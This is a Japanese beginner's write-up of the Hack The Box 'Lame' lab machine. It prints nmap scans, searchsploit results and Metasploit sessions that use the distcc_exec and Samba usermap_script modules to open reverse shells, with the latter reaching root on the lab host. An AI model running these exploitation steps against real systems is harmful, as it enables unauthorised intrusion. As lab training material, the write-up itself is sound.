【Hack the Box write-up】Lame

February 22, 2020

筆者は Hack the Box 超絶初心者です。 (今回で machine 攻略 2 つ目)

なので、説明ガバガバな部分もあるかと思いますが、何か訂正などありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machineについて

難易度は easy です。(easy の中でもかなり easy な部類です) スクリーンショット 2020-02-22 18.15.32.png

OSCP like な machine だそうです。 OSCPに類似しているHTBマシン(Linux)

nmapする

[email protected]:~$ nmap -A -Pn 10.10.10.3                                                                                                                                            
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 22:23 EST                                                                                                                
Nmap scan report for 10.10.10.3                                                                                                                                                
Host is up (0.20s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.99 seconds

わからない部分を調べていきます。

ftp - File Transfer Protocol
OpenSSH - ssh接続を可能にするソフトウェア
netbios-ssn - Windowsのファイル・アクセスには、「SMB(Server Message Block)」と呼ばれるアプリケーション層のプロトコルが利用されており、その下位のトランスポート層のサービスを呼び出すためにNetBIOSと呼ばれるインターフェイスが使われている。ファイル/プリンタ共有に使用されるのがnetbios-ssn。

(一部引用) Windowsのファイル共有に用いられるNetBIOSとは?

searchsploitでexploitを探す

samba で調べると山ほど出てきてしまいましたが、vsftpd はピンポイントで 2.3.4 に Backdoor Command Execution がありました。

[email protected]:~$ searchsploit vsftpd
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                                                                        | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                                                                        | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                                                                        | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                                                                      | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                | exploits/unix/remote/17491.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

vsftpdのBackdoor Command Executionをmetasploitで試してみる

[email protected]:~$ msfconsole
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f                                                                                                 
EFLAGS: 00010046                                                                                                                                                               
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001                                                                                                                        
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60                                                                                                                        
ds: 0018   es: 0018  ss: 0018                                                                                                                                                  
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)                                                                                                                    
                                                                                                                                                                               
                                                                                                                                                                               
Stack: 90909090990909090990909090                                                                                                                                              
       90909090990909090990909090                                                                                                                                              
       90909090.90909090.90909090                                                                                                                                              
       90909090.90909090.90909090                                                                                                                                              
       90909090.90909090.09090900                                                                                                                                              
       90909090.90909090.09090900                                                                                                                                              
       ..........................                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       ccccccccc.................                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       .................ccccccccc                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       cccccccccccccccccccccccccc                                                                                                                                              
       ..........................                                                                                                                                              
       ffffffffffffffffffffffffff                                                                                                                                              
       ffffffff..................                                                                                                                                              
       ffffffffffffffffffffffffff                                                                                                                                              
       ffffffff..................                                                                                                                                              
       ffffffff..................                                                                                                                                              
       ffffffff..................                                                                                                                                              
                                                                                                                                                                               

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing                                                                                                                                                  


       =[ metasploit v5.0.71-dev                          ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > rhosts 10.10.10.3
 `[-] Unknown command: rhosts.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

ダメでした。

似たようなことをやっていた以下の writeup よると Keep Calm and Hack The Box - Lame

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

一定の期間に配布された vsftpd でのみ使用できる exploit だったようです。

方向転換 - 再度nmapを使う

nmap で全ポートをスキャンする -p- を使用して再度スキャンを行います。 (時間結構かかります。)

[email protected]:~$ nmap -A -p- -Pn 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 00:30 EST
Nmap scan report for 10.10.10.3
Host is up (0.18s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 424.53 seconds

新しく 3632 番ポートが見つかりました。

Distccd を調べてみます。 以下のページによると

Distccはネットワーク上のホストで分散コンパイルを行うためのプログラムで、サーバー側であるdistccdとクライアント側であるdistccで構成されています。

Distcc

distccdのexploitを探す

distccd で調べてもヒットしませんでしたが、distcc で調べると一件ヒットしました。

[email protected]:~$ searchsploit distccd
Exploits: No Result
Shellcodes: No Result
[email protected]:~$ searchsploit distcc
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
DistCC Daemon - Command Execution (Metasploit)                                                                                        | exploits/multiple/remote/9915.rb
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

metasploitで発見したexploitを使う

msf5 > search distccd

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   3632             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 10.10.14.2:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo CIL3xsonINn4nN5q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "CIL3xsonINn4nN5q\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:34512) at 2020-02-22 00:55:11 -0500

成功します。

user.txtの取得

user.txt は簡単に取得できます。

whoami
daemon

ls
5147.jsvc_up

cd
sh: line 8: cd: HOME not set

cd /home

ls
ftp
makis
service
user

cd user

ls

cd ..

cd makis

ls
user.txt

cat user.txt
hogehoge

cd ..

cd ftp

ls

cd ..

cd service

ls

cd ..

ls
ftp
makis
service
user

cd /

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

cd root

ls
Desktop
reset_logs.sh
root.txt
vnc.log

cat root.txt
cat: root.txt: Permission denied

(コマンドの入力出力がみにくいので、改行を入れています。)

当たり前ですが、権限が足りず root.txt は取れません

権限を上げる方法が分からなかったので、一旦撤退

一旦撤退して Samba をせめてみます。 以降以下の writeup を参考にして進めます。 Hackthebox – Lame

Samba の version が分からないとどの exploit を使用すればいいかわかりません。 なので scanner/smb/smb_version を用いて samba の version を調べてみます。

msf5 > search smb/smb_version

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads (max one per host)

msf5 auxiliary(scanner/smb/smb_version) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 auxiliary(scanner/smb/smb_version) > run

[*] 10.10.10.3:445        - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.10.10.3:445        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Samba の version が 3.0.20-Debian であることがわかります。

Samba 3.0.20-Debianのexploitを探す

[email protected]:~$ searchsploit samba 3.0.20
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                        |  Path
                                                                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                      | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                 | exploits/linux/remote/7701.txt
-------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

上の 'Username' map script' を metasploit で使うことにします。

metasploitでrootとる

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 10.10.14.2:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AgFum7iWVU367md1;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AgFum7iWVU367md1\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:53617) at 2020-02-22 03:53:03 -0500

whoami
root

cd /

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

cd root

cat root.txt
hogehoge

すんなり行けました!

その他の手法を用いてるwriteup

昔は samba のバージョンが nmap で出てきていたらしくそれを用いて一発で multi/samba/usermap_script を使用し終わっている writeup が多かったです。

以下はそれ以外の writeup です。

https://medium.com/@nmappn/lame-hack-the-box-without-metasploit-1b3a138f9206

  • Samba の exploit をする際に metasploit を使わないパターンも書いてある

https://blog.csdn.net/fastergohome/article/details/104131154

  • samba 3.0-4.0 の exploit を当たりまくっている(道中で version を確定させて multi/samba/usermap_script を使う)

終わりに

今回は user.txt まではほぼ自力で行けましたが、そこから Samba の version 調べて、Samba に exploit の流れは色んな write-up を参考にして進めました。

easy の machine くらい最後まで自力で解けるようになりたいです。頑張ります。

このエントリーをはてなブックマークに追加